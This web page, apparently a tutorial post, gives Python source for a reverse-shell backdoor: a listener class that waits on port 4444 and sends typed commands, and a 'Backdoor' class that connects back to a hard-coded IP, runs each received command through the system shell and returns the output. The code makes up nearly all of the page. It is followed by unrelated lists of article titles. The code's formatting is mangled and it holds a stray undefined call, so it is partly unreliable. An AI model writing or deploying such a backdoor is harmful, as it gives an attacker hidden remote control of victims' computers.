Refactoring - Creating a Listener Class

#!/usr/bin/env python
import socket class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print("[+] Waiting for incoming connections")
self.connection, address = listener.accept()
print("[+] Got a connection from " + str(address)) def execute_remotely(self, command):
self.connection.send(command)
return self.connection.recv(1024).decode() def run(self):
while True:
command = input(">> ").encode()
result = self.execute_remotely(command)
print(result) my_listener = Listener("10.0.0.43", 4444)
my_listener.run()

Creating a Backdoor class:

#!/usr/bin/env python
import socket
import subprocess class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port)) def execute_system_command(self, command):
return subprocess.check_output(command, shell=True) def run(self):
while True:
command = self.connection.recv(1024).decode()
command_result = self.execute_system_command(command)
self.connection.send(command_result)
connection.close() my_backdoor = Backdoor("10.0.0.43", 4444)
my_backdoor.run()

最新文章

  1. Codeforces Round #353 (Div. 2)Restoring Painting
  2. Apache Jena - A Bootstrap
  3. 修改VNC分辨率大小
  4. Microsoft.DirectX.DirectSound.dll和Microsoft.DirectX.dll引用,导致项目无法调试问题
  5. JavaWeb学习总结(十二)--事务
  6. C# 在vs2010中打开vs2012的项目(转)
  7. 对Struts的理解
  8. hdu4507
  9. sim808模块收发送短信
  10. ERP中关于审批时速度太慢的SQL优化
  11. node框架express
  12. Linux 首先基本包安装(vim啊什么的),源,源优化,项目架构介绍, (LNMuWsgi)Django项目相关软件mysql,redies,python(相关模块)安装配置测试
  13. Pycharm启动后加载anaconda一直updating indices造成Pycharm闪退甚至电脑崩溃
  14. Day12--Python--生成器,生成器函数,推导式,生成器表达式
  15. JAVA自学笔记18
  16. Bootstrap modal模态框关闭时,combobox input下拉框仍然保留在页面上
  17. Python 简单soket例子
  18. 20175316盛茂淞 2018-2019-2《Java程序设计》第4周学习总结
  19. 第一次安装tomcat报错,出现failed to install tomcat8 service错误
  20. 12 tensorflow实战:修改三维tensor矩阵的某个剖面

热门文章

  1. mac App 破解之路六 studio 3t
  2. vscode 常用变量
  3. Git 居然可以用来跟女神聊天?
  4. Nginx具体配置(三)
  5. 008.OpenShift Metric应用
  6. 用 npm 搭建vue项目
  7. Java Service Wrapper 浅谈
  8. 黎活明8天快速掌握android视频教程--15_采用Pull解析器解析和生成XML内容
  9. 用一杯茶时间搭建Gitea服务器
  10. Windows Server 2019 container容器化-Docker安装